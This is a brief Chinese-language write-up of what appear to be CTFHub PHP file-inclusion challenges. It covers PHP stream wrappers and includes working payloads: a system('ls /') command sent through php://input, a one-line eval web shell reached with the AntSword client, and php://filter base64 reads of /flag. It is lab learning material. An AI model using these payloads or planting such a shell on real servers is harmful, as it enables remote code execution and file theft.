目录
php伪协议
php://filter
php://input
data://text/plain
zip://
CTF-01
通过phpinfo收集信息
通过get请求,然后通过burp抓包
通过post请求执行代码 <?php system('ls /'); ?> (List files)
发现flag_21637,通过cat查看内容
CTF-02
解法同上
CTF-03
查看shell发现密码为ctfhub
<?php eval($_REQUEST['ctfhub']);?>
通过中国蚁剑连接到该shell,找到falg文件,拿到flag
CTF-04
文章给出/flag,通过php的filter伪协议get发起请求即可
php://filter/resource=/flag
php://filter/read=convert.base64-encode/resource=/flag
拿到64编码的内容
解码拿到flag